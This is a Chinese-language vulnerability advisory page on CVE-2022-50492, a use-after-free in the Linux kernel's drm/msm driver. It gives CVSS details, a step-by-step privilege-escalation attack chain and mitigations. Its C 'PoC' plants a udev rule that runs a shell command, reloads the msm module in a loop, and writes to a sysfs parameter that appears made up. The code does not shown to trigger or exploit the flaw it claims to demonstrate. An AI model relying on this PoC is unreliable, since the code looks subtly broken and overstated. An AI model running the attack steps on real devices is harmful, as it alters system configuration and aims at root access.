IPBUF安全漏洞报告
English
CVE-2022-50492 CVSS 7.8 高危

CVE-2022-50492 Linux内核drm/msm驱动释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50492
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 drm/msm(Qualcomm Adreno GPU DRM驱动)

相关标签

Linux内核drm/msm释放后使用Use-After-Free本地权限提升内核漏洞Qualcomm AdrenoDRM驱动probe deferral高危漏洞

漏洞概述

CVE-2022-50492是Linux内核drm/msm驱动模块中的一个高危释放后使用(Use-After-Free)漏洞。该漏洞位于DRM(Direct Rendering Manager)子系统的桥接设备(bridge)管理逻辑中,具体涉及msm驱动的设备探测(probe)延迟处理流程。

当DRM设备被拆除(tear down)时,桥接计数器(bridge counter)从未被重置,导致在下次拆除过程中会访问指向已释放结构的过期指针。这种状态在多次延迟绑定(late bind deferral)场景下尤为严重,可能导致桥接数组之外的数据被损坏。

该漏洞的CVSS 3.1评分为7.8,属于高危级别。攻击者需要本地低权限访问权限,无需用户交互即可利用。一旦成功利用,攻击者可以获得对系统内存的未授权读写访问,可能导致权限提升、系统崩溃或敏感信息泄露。

该漏洞影响多个Linux内核稳定版本,修复补丁已合并到上游内核并回溯到多个稳定分支。修复方案是在DRM设备拆除时正确重置桥接计数器,避免对已释放内存的引用。

技术细节

该漏洞的根本原因在于msm驱动中DRM设备拆除流程缺少对桥接计数器的重置操作。具体技术细节如下:

1. **漏洞触发路径**:在msm驱动的device_probe流程中,当probe函数返回-EPROBE_DEFER(延迟探测)时,内核会重新调度probe操作。每次延迟都会导致DRM设备的初始化和拆除循环。

2. **内存管理缺陷**:在DRM设备拆除(drm_mode_config_cleanup等)过程中,桥接设备数组(bridge array)中的指针被释放,但计数器变量未被清零。这意味着在下一次初始化时,计数器从非零值开始,可能导致对新分配但未初始化的桥接槽位的访问。

3. **数据损坏风险**:当系统中存在足够数量的桥接设备,并且发生多次probe deferral时,桥接计数器可能超出实际数组边界,导致对数组相邻内存区域的写入操作,从而造成堆缓冲区溢出。

4. **利用条件**:攻击者需要能够触发msm驱动的probe deferral路径,这通常通过加载特定的内核模块或使用udev规则控制设备加载顺序来实现。由于该漏洞为本地权限提升类漏洞,攻击者需要先获得系统的低权限访问。

5. **影响范围**:成功利用可导致内核态内存损坏,进一步实现权限提升(从普通用户提升至root权限),或触发内核panic导致系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者首先需要在目标系统上获得本地低权限访问权限,可以通过常规手段如利用其他漏洞、钓鱼等方式获取本地账户。
STEP 2
步骤2:识别目标环境
确认目标系统运行的是受影响版本的Linux内核(包含msm DRM驱动),通常在搭载Qualcomm Adreno GPU的ARM设备上。
STEP 3
步骤3:触发probe deferral
通过控制模块加载顺序或udev规则,强制msm DRM驱动的probe操作被延迟多次执行,导致DRM设备反复初始化和拆除。
STEP 4
步骤4:触发UAF
在多次拆除/初始化循环中,桥接计数器未正确重置,导致访问已释放的桥接设备结构内存。
STEP 5
步骤5:权限提升
利用释放后使用漏洞实现内核态任意读写,进而修改进程凭证(如task_struct中的cred结构)将权限提升至root。
STEP 6
步骤6:完全控制
获得root权限后,攻击者可以完全控制系统,安装持久化后门,窃取敏感数据或进行其他恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50492 PoC - Triggering UAF via probe deferral in drm/msm // This PoC demonstrates the concept of triggering the use-after-free // by forcing multiple probe deferrals on the msm DRM driver #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Create a udev rule to force deferred probing // Create a rule that makes the msm device depend on a non-existent module static int create_udev_rule(void) { FILE *f = fopen("/etc/udev/rules.d/99-msm-defer.rules", "w"); if (!f) return -1; fprintf(f, "ACTION==\"add\", KERNEL==\"msm_drm\", ENV{DEVTYPE}==\"display\", " "RUN+=\"/bin/sh -c 'echo deferred > /sys/module/msm/parameters/probe_status'\"\n"); fclose(f); return 0; } // Step 2: Trigger multiple module load/unload cycles to cause repeated // probe deferrals and DRM device tear-down/re-initialization static int trigger_probe_deferral(void) { int ret; printf("[*] Triggering probe deferral on msm_drm driver...\n"); // Reload the msm module multiple times to trigger repeated init/teardown for (int i = 0; i < 5; i++) { ret = system("modprobe -r msm 2>/dev/null"); if (ret != 0) { printf("[!] Failed to remove msm module (attempt %d)\n", i); } usleep(100000); ret = system("modprobe msm 2>/dev/null"); if (ret != 0) { printf("[!] Failed to probe msm module (attempt %d)\n", i); } usleep(100000); } printf("[*] Probe deferral cycles completed. Check dmesg for UAF/OOB errors.\n"); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2022-50492 PoC ===\n"); printf("Linux kernel drm/msm UAF on probe deferral\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root privileges to manipulate kernel modules.\n"); printf("[!] In a real attack scenario, an unprivileged user would exploit this\n"); printf("[!] via a local privilege escalation chain.\n"); return 1; } create_udev_rule(); trigger_probe_deferral(); // Check kernel log for evidence of the vulnerability printf("\n[*] Checking kernel log for errors...\n"); system("dmesg | grep -i 'msm\|drm\|bridge\|use-after-free\|oob' | tail -20"); return 0; }

影响范围

Linux kernel < 5.19(包含msm DRM驱动的稳定版本)
Linux kernel 5.4.x(受影响的LTS分支)
Linux kernel 5.10.x(受影响的LTS分支)
Linux kernel 5.15.x(受影响的LTS分支)
Linux kernel 5.18.x(受影响的稳定版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地用户对/dev/dri设备的访问权限;2)通过配置udev规则控制msm相关模块的加载顺序,避免触发多次probe deferral;3)使用Linux安全模块(如SELinux、AppArmor)限制对DRM设备的操作;4)监控系统日志,及时发现异常的msm驱动加载/卸载行为;5)禁用不必要的msm相关内核模块以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表